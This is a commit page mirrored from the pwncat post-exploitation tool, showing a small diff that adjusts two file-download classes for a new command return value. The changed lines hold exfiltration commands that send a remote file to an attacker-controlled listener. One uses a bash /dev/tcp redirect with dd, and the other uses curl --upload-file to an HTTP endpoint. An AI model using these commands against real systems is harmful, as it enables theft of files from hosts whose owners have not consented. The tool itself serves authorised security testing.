1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Fixed other downloaders for the new command return value

This commit is contained in:
Caleb Stewart 2020-05-08 19:42:09 -04:00
parent 09a071b6e6
commit dfdbb92eb6
2 changed files with 2 additions and 7 deletions

View File

@ -17,7 +17,4 @@ class BashTCPDownloader(RawDownloader):
lport = self.server.server_address[1] lport = self.server.server_address[1]
remote_path = shlex.quote(self.remote_path) remote_path = shlex.quote(self.remote_path)
self.pty.run( self.pty.run(f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,)
f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,
wait=False,
)

View File

@ -18,6 +18,4 @@ class CurlDownloader(HTTPDownloader):
curl = self.pty.which("curl") curl = self.pty.which("curl")
remote_path = shlex.quote(self.remote_path) remote_path = shlex.quote(self.remote_path)
self.pty.run( self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")
f"{curl} --upload-file {remote_path} http://{lhost}:{lport}", wait=False
)